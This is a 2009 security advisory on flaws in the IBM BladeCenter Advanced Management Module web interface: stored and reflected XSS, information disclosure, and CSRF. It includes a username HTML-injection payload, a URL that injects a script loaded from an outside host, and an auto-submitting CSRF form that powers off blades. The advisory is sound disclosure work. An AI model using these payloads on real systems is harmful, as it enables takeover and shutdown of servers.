Louhi Networks Information Security Research Security Advisory Advisory: IBM BladeCenter Advanced Management Module Multiple vulnerabilities (XSS type 2 & 1, CSRF, Information Disclosure)
Release Date: 2009-04-09 Last Modified: 2009-04-09 Authors: Henri Lindberg [firstname.lastname@example.org], CISA
Device: IBM BladeCenter H AMM Main application: BPET36H Released: 03-20-08 Rev: 54 Risk: Low - Moderate High if Web Access is in active use and access to login page is unrestricted
Vendor Status: Vendor notified, patch available. References: http://www.louhinetworks.fi/advisory/ibm_090409.txt
Affected devices (from vendor): IBM BladeCenter E (1881, 7967, 8677) IBM BladeCenter H (7989, 8852) IBM BladeCenter HT (8740, 8750) IBM BladeCenter S (1948, 8886) IBM BladeCenter T (8720, 8730) IBM BladeCenter JS12 (7998) IBM BladeCenter JS21 (7988, 8844) IBM BladeCenter JS22 (7998) IBM BladeCenter HC10 (7996) IBM BladeCenter HS12 (8014, 1916, 8028) IBM BladeCenter HS20 (1883, 8843) IBM BladeCenter HS21 (8853, 1885) IBM BladeCenter HS21 XM (7995, 1915) IBM BladeCenter LS20 (8850) IBM BladeCenter LS21 (7971) IBM BladeCenter LS41 (7972) IBM BladeCenter QS21 (0792) IBM BladeCenter QS22 (0793)
"In today’s high-demand enterprise environment, organizations need a reliable infrastructure to run compute-intensive applications with minimal maintenance and downtime. IBM BladeCenter H is a powerful platform built with the enterprise customer in mind, providing industry-leading performance, innovative architecture and a solid foundation for virtualization."
"Provides easy integration to promote innovation and help manage growth, complexity and risk"
During a quick overview of BladeCenter AMM web access, it was discovered that web administration interface has multiple vulnerabilities regarding input and request validation.
Cross Site Scripting ====================
Most serious issue discovered was the persistent XSS vulnerability on the event log page resulting from displaying unsanitized user input received from an invalid login attempt.
This can be exploited without valid credentials or social engineering. Access to device administration IP address is needed and an administrator has to view event log at some point, however.
Successful attack requires that an administrator visits event log page, thus enabling the attacker to control the chassis and blade configuration by running the injected content which is interpreted by the administrator's browser.
For example, all blades can be shut down or new admnistrative users can be added, depending on administrator's access rights.
Log can be cleared by an authenticated administrator from URL: http://22.214.171.124/private/clearlog
HTML-injection can be performed for example with following "username": <a href="private/clearlog">Mallory</a>
This results in: <TD>Remote login failed for user '<a href='private/clearlog'> Mallory</a>' from Web at IP 126.96.36.199</TD>
Entries from event log are also displayed on the AMM Service Data page.
File manager displays user input on the page "as is".
Successful exploitation requires social engineering an authenticated administrator to visit the hostile URL.
Example URL: http://188.8.131.52/private/file_management.ssi? PATH=/etc"><script%20src="http://l7.fi"></script>
Information Disclosure ======================
A readonly operator (for example, a Blade operator with a scope assigment to one Blade) can view security permissions of other users (access roles and scopes) by forcefully browsing to their respective login profile pages:
http://184.108.40.206/private/login.ssi?WEBINDEX=<n>&JUNK=1 where <n> is the assigned integer value (1..12) of the user account
Cross Site Request Forgery ==========================
BladeCenter AMM does not validate the origin of an HTTP request.
If attacker is able to lure or force an authenticated administrator to view malicious content, the Advanced Management Module web administration interface can be controlled by submitting suitable forms. Attacker is then effectively acting as an administrator.
Successful attack requires that the attacker knows the management interface address for the target device.
As the management interface allows "No session timeout" option, user can be vulnerable to this attack even after closing a tab containing the management interface, if cached authentication is not cleared from browser.
Proof of Concept:
Example form (Powers off Blades 1-4):
<html> <body onload="document.foobar.submit()">
<form name="foobar" method="post" action="http://220.127.116.11/private/blade_power_action" style="display:none"> <input name="COMMAND" value="6.3.2"> <input name="STATE" value="0"> <input name="CHECKED" value="15"> <input name="selall" value="on"> <input name="sel" value="bl1"> <input name="sel" value="bl2"> <input name="sel" value="bl3"> <input name="sel" value="bl4"> <input name="JUNK" value="1">
</form> <body> </html>
Further research on BladeCenter AMM is strongly encouraged as this brief overview touched only the surface of the device. Management module supports a variety of networking protocols and contains features also from Telco version. These can be found by reading the commented HTML-code. One example feature is http://18.104.22.168/private/get_telco_system_health_summary It is also apparent that session timeout is not enforced.
More information: http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5076204&brandind=5000020 http://www-947.ibm.com/systems/support/supportsite.wss/docdisplay?lndocid=MIGR-5076206&brandind=5000020
Disclosure Timeline (highlights from the eight month effort):
9. September 2008 - Contacted CERT-FI by email
October 2008 - Provided IBM with a clarification why SSL usage does not fix CSRF vulnerability
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